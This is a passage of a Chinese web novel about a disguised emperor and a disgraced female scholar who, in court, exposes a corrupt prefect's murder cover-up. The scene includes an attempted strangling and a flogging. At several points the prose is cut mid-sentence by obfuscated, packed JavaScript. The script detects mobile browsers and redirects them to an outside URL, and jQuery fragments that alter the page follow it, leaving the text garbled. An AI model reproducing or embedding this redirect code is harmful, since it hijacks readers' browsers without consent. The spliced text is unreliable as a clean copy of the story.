此人不仅不把人命当回事,而且还昏庸透顶,恐怕之前不少案子都是这么判的!简直胆大妄为! “你用这种狡猾的手段搪塞朝廷,草菅人命,不怕皇帝知道,革了你的职么!” “本知府怕个屁!” 对方不屑地啐了口唾沫:“你当是来了个好官,就能查清命案,不草菅人命吗?本官就明白地告诉你,连那位子都没坐热乎的傀儡少帝,一样是个昏聩享乐的主儿!谁不说那昏君有亡国之相?” 被狗官当着面辱骂,傅常懿愤怒之情溢于言表:“你活得不耐烦了,敢讽刺朕!” 卜知府仗着自己的背景硬,完全不把傅常懿当回事,扭头对师爷道:“快看看!现在想当皇帝的人真够多的,都想疯魔了!说不定明年江山就易主了呢!哈哈哈!” 恰好在这时,忽有衙役进来禀报:“大人,事情办妥了!” “嗯,处理得可干净?” 衙役抱拳:“放了一把火,连带尸体和义庄一并烧了!绝对烧得干干净净,一点痕迹不留!” “好!”卜知府称赞对方做得得力。 傅常懿认出跪地的衙役是刚才派去抬尸体的人,诘问:“你们毁尸灭迹?” 卜知府乜斜他一眼,对衙役道:“把他一并解决了,明日一早给大理寺送过去交差!” “是!” 衙役应声,从背后掏出条结实的草绳,一圈一圈地缠绕在两手上,拉紧。 傅常懿见他朝自己走来,面带杀意,便知不好。 刚欲起身反抗,却冷不防被师爷从身后死死地按住,禁锢在椅子。 “放开我!你们敢动我试试!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189738|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他试图挣脱,卜知府道:“常公子,您就别折腾了!放心,我们的手段利落着呢,保管你死得毫不痛苦哈哈!” 傅常懿这下意识到了问题的严重性,难道自己真要被这群狗东西给弄死?! 眼见衙役手持草绳,逼近面前。他瞅准机会,照着对方下盘,使劲猛踢一脚。 衙役冷不防被踹,捂住□□疼得弯了腰,傅常懿趁此机会挣脱钳制,站起来往门口冲去。 然而,还没等迈出门槛,就被一条草绳从后面猛地套住了脖子。 他迅速反应,套着枷锁的双手穿过绳套,抵在喉部,隔开寸余距离。 卜世仁喝道:“勒死他!” 衙役握着绳子的双手用力,傅常懿掌心紧紧握住绳子,用尽全身力气与对方的蛮劲儿相抵抗。 卜知府又叫来两个捕快搭把手。 几人撕扯之中,傅常懿也顾不上什么帝王仪态了,拼命地横冲直撞。 可惜双拳到底难敌四手,眼见着草绳深深勒进其掌心,压向咽喉,他的一张脸也因为窒息缺氧,由白变红,开始发紫。 就在就快丧命的紧要关头,一声惊雷般的鼓声轰然响起,从府衙外传来。 这声音来得突兀,打破了他们之间的僵持,震得所有人都吓了一跳。 傅常懿趁机一头撞开衙役,感觉腕间一松,捆绑双手的那根绳子被挣散了。 外头的鼓声并没有停止,而是继续响着。 卜世仁眉头一皱道:“什么人大清早地在敲登闻鼓,师爷,你们过去看看!若是故意捣乱的,立刻拿下!” 师爷得令,马上领着捕快头子先去衙门外哨探。 他又对衙役和另一个捕快使眼色:“你们两个,先把他拖下去收拾了,别弄出动静来。老爷我去前面看看!” “是!” 衙役将傅常懿的嘴再次用布塞上,捕快一掌劈向他的后颈,把他劈晕了,接着就拖着人往后面去。 待师爷那边带着捕快出来,就见敲击登闻鼓的人,是个熟面孔。 15. 疑真凶 轰——! 轰——! 轰——! 寅卯交界,万籁俱寂,三声鼓响敲醒天地,冲散了黎明前浓重的黑夜。 破晓晨光中,柳齐欢独自站在巨大的鸣冤鼓前,消瘦的胳膊举着鼓槌,一下一下用力地击打着鼓面,一声比一声沉重。 朝阳的第一束光落在她的身上,带着微暖。 她浑身沾满了烟尘,素色的粗布麻衣污迹斑斑,绑在腰间的擦汗巾子也被火烧焦了半边。 因为奔跑而来,发丝被汗湿,凌乱地贴在鬓角,形容十分狼狈。但尚带着病容的那张脸上的神情坚毅,兼得柔美与英气的眉眼,明亮若星。 每一次挥动手中的鼓槌,都十分有力。 师爷认得柳齐欢,一看是她在击鼓,登时抬高了嗓门:“齐欢?怎么又是你!大清早的击什么鼓!” 柳齐欢闻言,停住了动作,放下握着鼓槌的右手,面无表情地看向对方。 “申冤。” 她言简意赅,嗓音轻微的嘶哑,被浓烟呛了。 “杨家的案子不是都结了!你又申得什么冤!快滚!”师爷怒气冲冲地叫嚣,“要是再不滚,我叫人把你抓进大牢里关起来!” 旁边的捕快目露凶光,“唰”地拉开佩刀威胁。 柳齐欢瞟了眼闪着寒光的刀,表情没有一丝惧怕,清楚地说道:“大梁律法,凡百姓击鼓鸣冤,县衙就要受理案件。我是来申冤的,烦请师爷进去通报。” “你个贱民也配来申冤?我们知府大人日理万机,政务繁忙,有什么事等改日再来!” 衙门里那事还没处理完,为免被打扰,师爷只想找借口撵人。 柳齐欢看出对方打算故技重施,像上次搪塞杨母似的搪塞自己,拖延案子审理。 她道:“我朝律法有哪一条明确禁止贱民申冤?上次我都来了,这一次为何不能来?” 一字一句掷地有声,引得晨起过路的百姓侧目。 卜世仁上任之前,师爷就在衙门里当差,见识过两回柳齐欢替贱民申冤的案子,都打赢了。 所以,他清楚对方是相当难缠的角色。 贱民暗从来都是民不举,官不究,无人管。他们平日里判案,还能从原告被告的手里两头捞取油水,谁情愿浪费时间给一群穷鬼审案子?吃力不讨好! 见柳齐欢拿出大梁律法来压自己,师爷狡辩道:“律法第十七条,贱民不得随意告官!” “我有诉状,愿为杨家案子担任状师,三敲鸣冤鼓,且告的是无恩荫无品阶的陈潘,本属白丁,并非告官。按照规矩可以申冤!况且……” 柳齐欢扫视一圈周围,见已经有人注意到了这边,掏出塞在怀里护着的状纸,高举着。 “况且我这次不仅要上诉此案,还要状告有人官道纵马,故意杀人!” 师爷眉头跳了一跳:“你,你要告谁?” “纨绔常懿!” 她中气十足地朗声说完,周遭围上来的人更多了。 有人认出来了柳齐欢。 “呦,这不是上次给老张家打官司赢了的那小子么?” “原来前两天当街纵马那家伙,是个杀人犯啊!” “今儿个衙门府又不准备开门么?这都快半个月了,我那案子还压着呢!” “这位卜知府到底会不会审案啊,推三阻四的!” 师爷见大家抻头抻脑地好奇,挥袖子驱逐:“去!去!衙门重地,禁止逗留!有什么好看的!” 他们后退几步,却没有散开,谁都想看热闹。 围观群众的窃窃私语传入柳齐欢的耳中,她唇角几不可查地微微翘起。 她故意选择这个时辰击鼓鸣冤,又站在衙门门口大声说话,为的就是吸引注意。 更何况,还有齐鸿按照她的指示,暗地里帮她“推波助澜”,混在人群里“煽风点火”。 柳齐欢高声道:“烦师爷进去通报一声,请知府大人开门设堂,审理此案,还受害者和百姓们一个公道!” 师爷听见百姓叽叽喳喳地议论成一片,明显有怨怼之语,他知道不可轻易触犯众怒,忙对捕快使眼色。 捕快连忙折返回衙门内,须臾片刻后,疾步出来,凑到师爷旁边低声耳语。 “请示了知府大人,说是近日兵部在为怀安长公主御驾回銮一事加紧了整个帝京的巡逻,咱们莫要把情况闹大,万一走漏了风声不好。就先让这贱民小子进来,平息众怒为要。” 师爷眼珠子转了转,捋着下巴的山羊胡沉吟了下,看向柳齐欢。 “哼,今日算你运气好!大人百忙之中抽出一点空闲来,处理你这破事!你跟我进去吧!” 他复又藐视着围观众人,威胁道:“你们也赶紧给我散了!不然,按聚众闹事把你们统统抓进大牢!” 众人一听,见衙门里冲出来一队带刀的捕快,再不敢喧哗,全作鸟兽散。 柳齐欢于是跟着对方进入府衙。 临进去之前,她将右手背到身后,虚虚地冲外头摇晃了两下,圈起指头,做了两个奇怪的手势。 齐鸿看见了,知道该进行下一步,便悄无声息地脱离了逐渐分散的人群,转身快步离开。 府衙大堂,正上方悬挂着“明镜高悬”匾额,两班手握刑杖的衙役分立两侧,由两个人分别持着“肃静”“回避”的木牌肃立,十分威武庄严。 正中判案桌台后面,已经坐着肥胖的知府大人,见柳齐欢进来,傲慢地撩了下眼皮。 她刚一站定,惊堂木“啪”地一声,在头顶炸响。 对方先下手为强,气势十足地断喝:“堂下何人,见了本官,为何不跪!” 柳齐欢抬头看一眼堂上的知府,没说什么,双膝一弯,跪下了。 若是曾经,她有举人的身份,根本不需要下跪。 可如今,她早已被革去了功名,剥夺了良民身份,不得不折腰俯首。 她虽然人跪下了,但腰板挺得笔直,如一杆直立的青竹。 “草民齐欢。” “为何击鼓?” “有冤要诉。” 卜世仁故意问道:“你是哪里人士,现居何处?” “帝京,北司圜。” “大胆!” 他一拍惊堂木:“北司圜之贱民,也敢告官?!来人,先打上十大板!” 说着,抓起一张令签丢下去,两边的衙役立马得令,左右刑杖交叉制住柳齐欢的腿,抵住其后背,用力压到地上。 “且慢!” 柳齐欢趴在地上,仰起头,疾声道:“草民并非告官,是告平民!” “那也要打!你小子不是爱拿律法说事么,那咱们就按照律法来,十大板打完了,大人才会审你的案!” 师爷在旁边帮腔,抓准了机会,要给她来个下马威。 言毕,衙役举起刑杖,不由分说地狠捶下去。 沉重的一闷棍,毫不留情,屁股顿时肿了,火辣辣地痛。 柳齐欢脸色煞白,差点当场惨叫出声,咬紧牙关强忍着。 衙门是从来不欢迎老百姓告状的。 在这些尸位素餐的官吏眼中,百姓就应该逆来顺受,一旦反抗,就是所谓的“刁民”。 因此凡告状者,无论原告被告,必先挨一顿杀威棒治治“刁民气”。 十大板说多不多,说少不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189739|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 打完之后,柳齐欢已经冷汗淋漓,无力地趴在地上,裤子渗出了点点血迹。 她硬挺着全程没吭一声,嘴唇咬破了。 “探花郎,这十大板和诏狱的刑罚相比,哪个更受罪呀?” “……” 柳齐欢懒得同对方分辨,强撑着精神,支撑起身子,缓慢地从地上爬起来,咬着牙道:“请审案!” “呦,还有力气说话?那就把诉状呈上来吧!” 她强忍着下身的疼痛,将状纸交给衙役,对方递呈上去。 她的指尖沾染着一点黑墨的痕迹,已经干掉了。 从义庄逃出来后,她飞速写了份新的诉状,有备而来。 卜世仁是走后门当上的官,肚子里没多少文墨,但也会说点台面话,所以在随意浏览了一遍内容后,便撂下状纸。 “刚才本官听师爷说了,那陈杨两家的案子,早已结了案,无须再议。不过嘛……你状告常懿一案,本官倒是能审审。” 她这状告的,正中卜世仁的下怀。 他正寻思着找个堂而皇之的理由给常懿弄死,有了正当罪名,往刑部交人就更好办了。 “本官现已清楚事情起因经过,并于昨夜将案犯常懿缉捕归案,现在已经下了大狱,待本官查明后,将判其三日内处斩!” 说着,他抓起惊堂木,就准备拍案退堂。 “大人。” 柳齐欢忽然出声,阻止其动作。 “按照梁律,所有案子必须经过案情还原,证词证据审查,确保人证物证俱在、被告原告同席的情况下审理。大人仅凭草民一张诉状,就判定被告的罪行吗?” “本官抓到了犯案者的现行。由衙门里的捕快亲眼所见,亲手抓捕,皆是见证,且与你诉状实情完全吻合,确为真凶!你来此申冤,不就是为了告他吗?” 柳齐欢的眼瞳中微光炯炯。 看来她在酒楼和义庄偷听到的内容,果然为真。 仵作之死,与帝京府衙脱不了干系,而且这群人是有意要拿常懿顶罪。 她倒是不同情那个死纨绔,爱死不死,只是不能把这事不清不楚地糊弄过去。 当年替兄长验尸出具死亡证明的仵作,潜逃外省多年,回来又行踪隐匿,缘何被杀?那行凶者若不是有仇怨,就很可能与兄长的案子有牵连! 她若是能顺藤摸瓜,说不定就能查到当年的真相! 至于那个常懿,她直觉与这件事恐怕也有什么微妙的关系,所以并不打算放过此人。 只有是一丁点牵涉到当年之事的蛛丝马迹,她都要利用起来。 故而,当卜世仁质问她要状告的人,到底是不是常懿时,柳齐欢冷声道:“大人,草民确实要告他,但真凶恐另有其人!” 一语惊破堂上二人心怀鬼胎。 师爷叫唤:“你刚刚不是说要状告常懿么?怎么这会儿又说不是了?你当堂撒谎?!” “草民并非撒谎,请大人细看诉状,草民只是写了状告常懿当街纵马之恶行,并没有告其故意杀人。”柳齐欢不紧不慢地说,“草民最后写的是‘状告以上罪行之真凶,望青天大老爷明察’。” 卜世仁心里有鬼,只想速度解决此事,拍案道:“分明就是常懿行凶作案,无凭无据,你休要胡乱攀咬他人!” 柳齐欢道:“只需要将仵作的尸首抬来,当堂验尸,就可知真凶是谁!” “尸体都没了,验什么!” 卜世仁说完这句,忽然意识到了什么,忙住了嘴。旁边的师爷脸色跟着一变。 柳齐欢直着脊背,目光充满了审视。 “请问大人如何知道尸体没了?” 16. 公堂乱 柳齐欢见堂上二人脸色瞬间变得难看,心里的猜测更有了几分底。 她特意没有将火烧义庄、毁尸灭迹的罪刑写入诉状,并与二人在言语上周旋,就是为了试探。 卜世仁和师爷对视一眼,后者的眼珠子飞速转了两圈,编造道:“我们大人方才正接到了巡街捕快的禀报,说城郊的义庄无故失了火。虽然抢救及时,却也烧得七七八八。那仵作的尸首就抬去了那里停放,偏巧不巧,一并都给烧光了!” 柳齐欢听了这话,只想冷笑。 明明是纵火,哪里有人来救火?若不是她挣命地撞破了后窗,拖着仵作的尸体逃出来,他们可真就葬身火海了! 她心中情绪起伏,面上却不显,而是道:“也不一定都烧没了,不如请大人派些手下去寻找一番,说不定还留有什么蛛丝马迹!” “你在教我做事?” “草民不敢,只是义庄着火一事,除了仵作,还涉及到许多人家的家属停尸在内,失火的原因还需要大人明察。” 卜世仁不想额外横生枝节,柳齐欢却想要多拖延一会儿时间,为她的下一步计划争取余地。 二人正对峙着,忽听后堂一阵稀里哗啦的巨响,好似许多重物跌落摔碎的声音。 包括柳齐欢在内,在场所有人都愣了一下。 接着,卜世仁像是突然被火烧着了屁股似的,“嗷”地一叫从太师椅上蹦起来。 “我的珍宝架啊!” 知府顾不上审案了,急三火四地往后堂冲,结果迎头被人给撞倒,连带着用来遮挡后堂入口的雕花锦绣玉屏风压下来,摔了个粉碎。 这还没完,后方制造声音的源头,也就是把知府撞倒在地的“罪魁祸首们”,也你追我赶地同时冲出来。 师爷慌忙张开双臂意图阻止这群人冲进正堂,可他是个瘦巴巴地文人,手无缚鸡之力。最先跑出来的那个男子,一见有人挡路,也不管三七二十一,直接一脚踹翻了他。 师爷捂住□□弯下腰,痛得声音都打颤:“哎哟,你们都傻站着干什么!赶紧把他抓住啊!” 四周呆愣住的衙役们一听,才后知后觉地反应过来,团团围上去。 柳齐欢一察觉不对情况不对,就及时避开了混乱圈,扶着受伤的臀部,躲到了一旁的护栏后面。 她冷眼旁观乱作一团的众人,看清中间那个拼力反抗的家伙。 常懿。 他现在完全没有了先前所见的矜贵气质,倒像是个野小子。 脖子扣着木枷,两只手脱离了枷锁前头的两个圆洞,手里举着一把不知道从哪里抢来的匕首,疯了一样横冲直撞,没有章法地胡乱瞎砍。 原来,卜知府和师爷到前堂面见柳齐欢后,剩下的两个人就准备把傅常懿拖去后院,勒死了事。 谁曾想,捆住他手腕的绳套因那一挣,松解了。 傅常懿双手一解脱,马上瞅准机会,以肩膀上坚硬的木枷为武器,用力顶撞上离自己最近的捕快,顺势一并抢走了其腰间的短刀。 捕快额角破了个大口子,来不及顾伤,捂着脑袋同衙役一齐上去,抢夺他手中的武器。 你来我往之间,几人不小心就撞翻了卜世仁置办在后堂的珍宝架。 卜世仁收受贿赂积攒出来许多昂贵玉器古玩,又特地摆放在外用以炫耀,一转眼全砸了个粉碎。 衙役吓得慌了神,忙要去补救,傅常懿眼疾手快地挥刀划伤了对方。 接着,他就听见了柳齐欢与卜世仁的对话,转头向前堂跑来。 此时此刻,整个府衙正堂闹腾得人仰马翻。 知府像条狗似的趴在地上,师爷龟缩在角落,傅常懿挂着沉重的枷锁,费力地挥动手中的短刀,破口大骂。 “你们这群瞎了眼的,我没杀人!都滚开!” “不准放他走!”卜世仁狗急跳墙,指挥着其他人,“谁杀了他,老子就让谁升官发财!” 几个没受伤的衙役野心勃勃地又要冲上去,突然,柳齐欢闪身出来。 她手里不知何时拿到了一柄捕快的佩刀,双手握紧,果断利落地直直劈向傅常懿。 他怔住,手举短刀抵挡的同时,下意识害怕地闭紧眼睛,浑身绷紧。 所有人都愣在当场。 没有想象中的鲜血淋漓,也没有人受伤。 用以嵌合枷锁的木楔子,被削铁如泥的刀刃沿中缝砍断,失去了固定的枷锁裂开两半,“咣当”掉落在地。 柳齐欢的手心被震得生疼,虎口也跟着裂了。 傅常懿没感觉到预想的疼痛,猛然睁开眼睛,发现自己获得了自由。 他毫不犹豫地扑向卜世仁。 什么皇家体面,什么天子威仪,他全然不顾了,按住对方就揍。 傅常懿满腔怒火都集结在拳头上,照着那张丑恶的嘴脸抡下去。 他这一拳,不仅是对卜世仁刚才种种冒犯行为的反击,更是对内心深处持久压抑的怨恨的宣泄。 他怨恨父皇为了江山皇权害死母后,怨恨父皇为了庶弟差点杀死自己,更怨恨对方用帝位圈禁了他,再也离不开这空寂到可怕的紫禁城。 卜世仁让他想起了父皇的贪婪,却又想到了自己的无耻。 他想要放纵自己当一个昏君,毁掉父皇贪图的江山社稷,却又亲眼看到自己的昏庸无为下,盘踞着多少像卜世仁这样的蠹虫。 由于情绪地剧烈波动,傅常懿的头痛发作了。 他痛得手臂微颤,但拳头攥得咯咯响,一副誓要把卜世仁的脸砸穿的气势。 “反了反了!敢殴打朝廷命官!抓起来!快抓起来!” 师爷缓过劲儿来,跳着脚直叫。 衙役捕快们上前撕扯开扭打二人,傅常懿难敌众手,最终被制服住。 闹剧暂停,柳齐欢眉头微皱。 本想利用常懿这人多制造出点混乱,再拖延些时间,却没想到对方如此废物,几下就被控制住。 就在她思考要不要再挑事时,衙门外终于响起了登闻鼓的洪鸣声。 “贱材!怎么又有人击鼓!让他滚!” 卜世仁捂着肿起来的腮帮子,连滚带爬地爬上太师椅,疼得龇牙咧嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195060|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳齐欢听到鼓声的瞬间,眉头便松开了,她望向府衙的大门。 “卜大人,你恐怕要重新审案了。” 她话音刚落,就见一群百姓推搡着守门的府卫,如奔流般涌进来。 齐鸿走在前头道:“我跟你们说,今天知府大人终于开堂审案,审的还是帝京最神秘的流民命案!可得悄悄热闹!” 来者人数不少,更有两个人合力抬着一具尸体进来。 师爷唬了一跳,径直上去抽了齐鸿一耳光:“猴崽子!你谁让你们进来的!出去!” 齐鸿没防备,捂着脸躲到杨母的后面。 杨大娘一手拄着拐杖,一手护住齐鸿,哭诉道:“大人,我们是来告状的!我的儿子死得好惨,还请老爷为我们做主啊!” “告什么状!没看见我们正忙着!快滚,快……” 嚣张的师爷还没等说完话,人群里冲出来一个五大三粗地壮汉,狠狠地给了他一巴掌,直接把他打了个趔趄。 “你个入了土的老材!叫卜世仁出来!义庄被人给烧了,俺们兄弟的尸体都化了灰,他还判的什么案!赶紧给老子赔钱!” “对!赔钱!赔钱!” 齐鸿一边随着牛大叔喊,一边看向公堂前站着的柳齐欢,对方正望着他,悄悄地竖起了大拇指。 他心情很激动,自己这次没有拖后腿,终于帮上了对方的忙。 ——柳齐欢进府衙之前的那个手势,就是提醒齐鸿开始计划的下一步。 她昨夜将仵作的尸体从义庄的火海里拖出来后,就交给了杨大娘和牛大叔看守。并告诉他们,若是自己在府衙申冤遇到了问题,就会让齐鸿先回来,到时候他们一起带上仵作的尸体到府衙,击鼓鸣冤。 她是贱民,没有背景,没有势力,也没有太多能倚靠的力量,想要诉状沉冤,想要查清兄长的案子,就不得不用尽旁门左道的办法,利用一切可以利用的手段。 所以,她绝对不能放过仵作这条线索。 就算对方已经死了,她也要死死地抓住这条如蜘蛛丝般脆弱的线索,抽丝剥茧,追查出真凶! 柳齐欢原本还担心,齐鸿能不能记清楚自己的嘱托,能不能将此事办妥。 却没想到他比自己想的,办得还要周全、稳妥。 挤在衙门口等着看热闹的百姓,有二三十号人,个个群情激奋。 瞅着这情景,和那具不知从哪儿来的尸体,卜世仁与师爷面面相觑。 事情棘手了。 他们怎么也想不明白,明明一切都安排的天衣无缝,怎么要杀的常懿没死,义庄失火的事还被捅了个人尽皆知! 柳齐欢与傅常懿平行站立堂前,都被衙役押着。 她扫一眼旁边的人,对方不知道怎么回事,从刚才开始,呼吸就变得急促而深长,低垂着脑袋,貌似有点不舒服的样子。 不过,现在不是关心这个的时候。 她挺了挺脊梁,直视着堂上的知府,冷静清晰地开口。 “现在人证物证俱在,请大人秉公执法,公开审案,查清真凶,还我等一个公道!” 17. 血与证 帝京府衙,护栏外,看热闹的百姓更多了。 法不责众,加上心有暗鬼,捕快衙役又大多因刚才的一番折腾受了伤,善于出馊主意的师爷此时也没了法子。 现在局面很被动,当着这么多围观群众的面,他们没法胡乱判案,直接灭口。 两个人狼狈为奸地咬了一阵耳朵,决定先审案,见机行事。 卜世仁清了下嗓子,抓起惊堂木,用力一拍。 “肃静!” 在场之人尽数安静下来。 柳齐欢与傅常懿站在正堂中央,押解的衙役已经松手,分退至两边。 她身后跪着杨大娘等人,仵作的尸体用一张简陋的草编担架抬进来,盖了白布,停在旁边。 齐鸿没法上堂,只好手扒着木制护栏,脸卡在两扇中空的位置,担忧地望着堂上几人的背影。 傅常懿一声不吭,老实的有些诡异。 卜世仁摆出官架子,打算先在百姓面前树树威,拖着长腔道:“堂下二人,还不跪下?” 柳齐欢身份使然,一如先前直着身子端正跪立。 傅常懿却不动。 卜世仁拍案呵斥:“跪下!” 他依旧置若罔闻。 “讨打是不是?来人!” 衙役听令,走上前用刑杖捅他的膝窝。 傅常懿正因为情绪剧烈波动激发了体内残存的余毒,此时头痛得他心烦意乱,根本无暇关注周遭发生的一切。 他本想尝试深呼吸平复情绪,缓解痛楚,结果这死知府还嘴碎个没完,正往刀尖上撞。 他一脚踹向衙役:“敢让我跪,谁给你的狗胆……唔唔!” 还没说完,就被一只手捂住了嘴巴。 鼻腔涌入一股浓郁的血腥味,混杂着烟熏火燎的气息。 傅常懿神经跳了跳,一把拽下她的手,愤怒地瞪着对方。 “你干什么!” 柳齐欢眼神冰冷:“你想害得所有人挨打么?” 他不知何意,刚想回嘴,视线蓦然瞥见对方下衣的斑斑血迹,明显是受了笞刑。 要出口的话卡了壳。 柳齐欢的右手钳住傅常懿的下巴,其虎口处的伤再度裂开,血蹭到了他的脸上。 “我不管你是哪里来的纨绔公子,也不管你有何身家背景,既然你现在不中用,也叫不来人帮忙,就闭上嘴。不要拖累大家,更别拖我的后腿。不然,小心你也死在这里!” 柳齐欢的手指有力,语气铿锵。 傅常懿因她最后一句而哽住,怒气上涌,瞳孔颤动。 旋即又想起,刚刚是对方帮自己斩断了枷锁。 她的脸庞与他近在咫尺,雌雄莫辨,白得面无血色,病态。 可这双漂亮而英气的桃花眼,却未见丝毫脆弱,满是清冷的威胁。 她说的,是事实。他确实差点死了。 鼻尖萦绕着腥甜,是面前人血液的气味,微不可查的一丝药香混杂其中,令嗅觉神经微麻。 嗅着安抚性的味道,傅常懿的头痛竟然些许缓和下来。 他分不清这是不是错觉,凝视着对方的眼睛,终于还是偏头甩开了对方的手。 “……本公子就看看你有什么本事。” 傅常懿老实了,柳齐欢放开了手。 他的下颌处留下了一抹有些滑稽的血痕,未曾察觉,很快干掉。 捕快头子进入堂内,悄悄耳语师爷。 师爷又悄声告诉了知府。 后者沉吟道:“你先不必跪了。” 傅常懿双手抱臂,傲慢地冷哼一声,向上翻了个白眼。 闹剧翻篇,卜世仁开始审案。 “堂下死者何人?与你们是什么关系?” “仵作张氏,本是帝京人士……” 杨母将她了解的关于仵作的情况呈堂供述,证实了尸体的身份,并补充道:“昨日卯时正,我们还碰见过一面,谁想到,竟然……” 杨母说着,忍不住摇头惋惜。 卜世仁道:“适才本府业已说明,抓到了嫌疑人常懿,如今人证物证皆指向他。按照大梁律例,杀人偿命,现在本官就判处常懿死刑……” “等一下。” 柳齐欢问道:“大人,草民斗胆,请问死者何时死亡,凶手使用的是何种手法?可有目击证人或者物证?” 捕快头子道:“我就是目击证人,死者仵作是于昨日亥时末左右坠楼摔死,凶手常懿当时就在现场。” “你有亲眼看见他从楼上推下去死者吗?” “……呃,那倒没有,是有人说看见了,向我们报案。” “什么人看见的,此刻可在现场?” 柳齐欢逐句追问,捕快头子摸了摸鼻子道:“那人报案之后就吓跑了,我们当时光顾着抓杀人凶手,就没……忘了留下那个人。” “好。”柳齐欢没有去反驳对方漏洞百出的证词,而是直接说出自己的发现,“诚如捕快所说,死者是坠楼。那么请问,为何尸体会有中毒迹象呢?” 此话一出,后头围观的人群开始交头接耳。 卜世仁拍打惊堂木让保持安静,说道:“也可能是二人一同喝了酒,凶手常懿在酒里下了毒呢?” 傅常懿反驳道:“我要是想杀人,还用得着这下三滥的手段?!” 柳齐欢横过来一眼:“不要多说话。” 对视上她寒凉的目光,傅常懿负气地撇开脑袋,不情不愿地闭了嘴。 柳齐欢道:“事发酒楼已经贴了封条,有没有毒,查一下当时的酒菜器具就知。” 她走到尸体旁边,掀开了白布,正色道:“大家先请看这个。” 所有人的目光聚集到尸首上,好在天气还不热,尚未有腐烂的迹象。 她单膝跪地,指着尸首,分析道: “据尸体表征观察,死者全身关节僵直,出现尸斑几处,手部指甲明显呈青紫色,死亡至少应该在十个时辰以上。距离方才捕快所说的死亡时间,相差至少三个时辰,说明死者应该是在昨日午时之前死亡,而绝非晚上亥时死的。” 柳齐欢顿了顿,没有给捕快狡辩的机会,指向尸首青灰色的面部,继续道: “而且,死者嘴唇绀色,且边缘泛黑,口内伴有少量白沫痕迹,四肢水肿。银针探入左侧上腹,会变黑,都符合死前身中剧毒的迹象。所以,与坠楼而死的说法,并不相符。” 她一番条分缕析,将仵作的死亡时辰、因果都说得清清楚楚,把指向傅常懿的那几条“罪证”都给驳倒了。 衙役取来银针,柳齐欢现场验证。 针插入尸体的那半截抽出来,果然变色。 中毒而死,证据确凿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200875|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 围观人群愈发骚动,惊堂木拍了又拍,也挡不住议论纷纷。 傅常懿早已经转过头来,凝视着柳齐欢的侧颜。 轮廓分明,眉目如画,他曾经觉得对方像都御史家豢养的旦角似的,透着股隐约的脂粉气。 如今,他觉得自己好像有点看走眼了。 这臭小子身上,似乎还有股特别的傲气。 柳齐欢茕茕孑立,慷慨而谈,所有人都聚精会神地听着。 纵使鹑衣百结,贫苦褴褛,也掩盖不住其一身清冷傲骨。 傅常懿审视着她,眼底流露出一丝欣赏。 沉稳而干净,眼神很特别。没有对贱民身份的自卑,也没有对高官权势的畏缩,更没有他常见的无比熟悉的那些贪欲、谄媚、市侩、惧怕。 傅常懿觉得,好像现在才开始逐渐看清对方。 卜世仁听完验尸结果,质疑道:“就算仵作是死于中毒,不是坠亡,也证明不了嫌疑人常懿就与他的死因无关。” 柳齐欢像是早就预料到对方会如此问一般,又指向尸体的脖子处。 “死者的颈部有一道深深的淤痕,边缘粗糙,喉骨尽断,说明,不仅中了毒,而且还曾被人勒住过脖子。所以,我猜测,也许是毒性未能致死,又使用了绳索一类。” 她用张手帕垫着,轻轻托起尸体的右手。 “更重要的是,死者的手指甲里残存着皮肉残屑与血痕,说明生前曾经历过激烈地挣扎。他没有抓伤自己,那么,抓伤的对象就极有可能是凶手本人。” 说完,她将尸体的手放下,起身走向傅常懿。 他正出神地望着柳齐欢,见对方来到自己面前,不知道怎么的就突然结巴了起来。 “你,你要干什么?” 柳齐欢二话不说,抓住他的双手,举起来。 宽袖滑落,露出肌肉紧实的双臂。 傅常懿想收回来,柳齐欢抓紧对方的手腕不放,瞪了他一眼,示意他别乱动。 柳齐欢向众人展示他的双臂道:“常懿面部、上肢均无抓痕外伤。当然,为了保险起见,也可以请衙役带他去后堂,脱了衣服仔细检查。” “不行!” 傅常懿想都没想就拒绝,他才不要当着那些人的面脱衣服! 卜世仁立马抓住关键:“不敢验明正身,就说明有鬼!真凶就是你!” “不是我!” 